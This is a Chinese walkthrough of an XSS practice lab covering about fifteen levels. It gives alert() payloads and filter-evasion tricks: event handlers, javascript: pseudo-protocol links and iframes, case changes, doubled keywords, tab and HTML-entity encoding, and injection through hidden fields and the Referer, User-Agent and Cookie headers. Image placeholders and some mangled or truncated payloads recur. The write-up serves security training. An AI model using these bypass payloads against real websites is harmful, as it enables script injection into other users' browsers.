XSS靶场1-10关方法总结
第一关
里面没有任何可以点击或输入的地方,很明显唯一可输入的只有URL中。利用弹出方式函数alert,注入xss代码,在url里的?name参数后面添加。
<script>alert(/xss/)</script>
第二关
(1)利用鼠标移出函数onmouseout
"afawef" οnmοuseοut="alert(/xss/)" 鼠标移出会触发alert弹窗。
(2)利用onclick鼠标点击触发xss弹窗。在input里触发xss
<input type="text" Onclick="alert(/xss/)">
(3)使用将input标签闭合,让<script>独立出来。
"><scrpit>alert()</scrpit>
方法三、利用iframe,发现新开了一个页面并出现了弹窗,但并没有出现通关提示并跳转下一关,这是由于通关提示是写在当前页面的,在另一个页面实现弹窗绕过,也是通关的一个体现,手动跳关就可以了。
"> <iframe src="javascript:alert(/xx/)">
第三关
(1)和第二关类似使用利用onclick鼠标点击触发xss弹窗。在input里触发xss
<input name=keyword value ='' οnclick=alert(/xss/) ''>
(2)简单测试下,发现:“<>都被转义了。
而且,value的单引号“ ' ” 所以用,利用鼠标移出函数onmouseout属性。
' οnmοuseοut='alert(/xxx/)
第四关
方法一、利用伪协议进行绕过。
">2334a<"
方法二、
先测试下,
我们发现屏蔽了<>
所以我们用onmouseout,鼠标移动input,就可以触发弹窗进行绕过。
方法三、 利用oninput鼠标移动到输入框,就会触发。
<input name=keyword value="" οninput='alert(1)' ">
第五关
方法一、利用javascript伪协议进行绕过。
我们测试发现系统屏蔽了<script>,在里面加了一个_
试了试onmouseout,发现也被屏蔽了
可以发现这些都屏蔽了,我们试试<a>标签,在href里面用伪协议试试。
">点我
成功
2334
方法二、利用<iframe>标签
"><iframe src="javascript:alert(/xss/)">
但是呢,出现了一个小问题你点确定却没有跳转。不要困惑你过关了,但是此方法暂时不能直接过去~
还是使用上一个方法吧。
第六关
方法一、"afawef" οnmοuseοut="alert(/xss/)" 鼠标移出
方法二、首先测试
不意外,全被屏蔽了
所以利用变换字母大小写(HTML不区分大小写,js严格区分大小写)
点击,创建的连接名ss,成功弹窗。
(1)"/>ss
(2)"><iframe sRc="javascript:alert(/xss/)">
第七关
方法一:首先测试
发现onmouseout的on,script不见了首先考虑复写,形式就是oonnmouseout,sscriptcript
对一些关键字进行识别,然后删除,比如<a href>
会被改成<a>
。 对于这种防御机制,常用的方法就是双写绕过。
"><scrscriptipt>alert("guest")</scrscriptipt>
方法二、"afawef" οnmοuseοut="alert(/xss/)" 鼠标移出 补:124" onmouseout (鼠标移出时间)
方法三、利用鼠标点击输入框进行绕过。
" oonnclick="alert(1)
第八关
方法一:利用鼠标移出绕过。
"456" οnmοuseοut="alert(/xss/)" 鼠标移出
方法二:过滤javascript关键字,会把javascript变成javasc_ript。可以通过tab制表符绕过(%09)
javas cript:alert(/xss/);
方法三:
观察第八关,多了一个友情链接。
老方法测试一下:
我们发现input中的符号,全被屏蔽了,而我们写的代码,被传递到<a>中后,屏蔽的不多,所以我们从<a>中入手。" 被转义了,所以我们就在直接在href中写伪协议
运行后发现:javascript被修改了
我们利用实体编码绕过,将r进行HTML实体编码互转,通过在线编码生成器可以生成
javascipt:alert(/xss/);
点击友情链接,弹出,success!
第九关
方法一:和八关类似,利用Unicode编码绕过,输入中要有http://才能被识别写入。
首先发现输入www.baidu.com,友情链接还是不合法,所以我们多试试几个,百度一下,你就知道
试了几次发现只要我们输入的里面有http://就可以成功显示
所以,我们就可以吧http://注释掉,就可以注入我们想要的东西
javascript:alert()>//百度一下,你就知道
发现javascript被屏蔽了,我们实体化转码试试,r的实体化转码为
javascipt:alert()//百度一下,你就知道
第十关
通过下列图片看源码可以看到,有三个inpute是隐藏的。这时候需要在url里插入payload。
在地址栏输入
再次查看代码
可以发现t_snort可以改value的值。
可以借用,在url中输入 keyword=test&t_sort=" type="text" οnclick="alert()
出现一个文本框,移出鼠标。
注:隐藏hidden keyword=test&t_sort=" type="text" οnclick="alert()
第十一关
(1)需要修改Referer,首先ctrl+u通过查看页面代码,可以发现我们需要从referer构造payload。
正在上传…重新上传取消
(2)然后打开火狐浏览器插件Hackbar 2,通过该插件构造referer。
正在上传…重新上传取消
正在上传…重新上传取消
(3)打开bp开始抓包,可以看出referer被修改了。
正在上传…重新上传取消
(4)可以看出页面内出现input窗口,点击成功过关。
正在上传…重新上传取消
第十二关
本关与11关类似。
(1)需要修改user-agent,首先ctrl+u通过查看页面代码,可以发现我们需要从user-agent来构造payload,查看到user-agent先关系统信息。
正在上传…重新上传取消
(2)然后打开火狐浏览器插件Hackbar 2,通过该插件构造user-agent。
正在上传…重新上传取消
(3)打开bp开始抓包,可以看出user-agent被修改了。
正在上传…重新上传取消
(4)可以看出页面内出现input窗口,点击成功过关。
正在上传…重新上传取消
正在上传…重新上传取消
第十三关
(1)首先看到ctrl+u后端页面代码中的增加了cookie,需要我们输入的payload需要在Cookie内构造。使用11、12关同样的方法注入xss语句。
正在上传…重新上传取消
(2)然后在12关快通过时抓包,修改增加的一个Cookie,并添加内容为user=payload就可以。
正在上传…重新上传取消
(3)最后在Bp里放行所篡改的数据包。
正在上传…重新上传取消
本关需要更改Cookie,
user=123&t_sort="type="text" οnclick="alert(1)
第十四关
通关后无需需手动到15关。
1、
第十五关
来到第15关了
正在上传…重新上传取消
(1)首先看到ctrl+u后端页面代码中的增加了src ,需要我们输入的payload需要在src内构造。
正在上传…重新上传取消
src=‘level1.php?name=<img src="" οnerrοr="alert(1)">'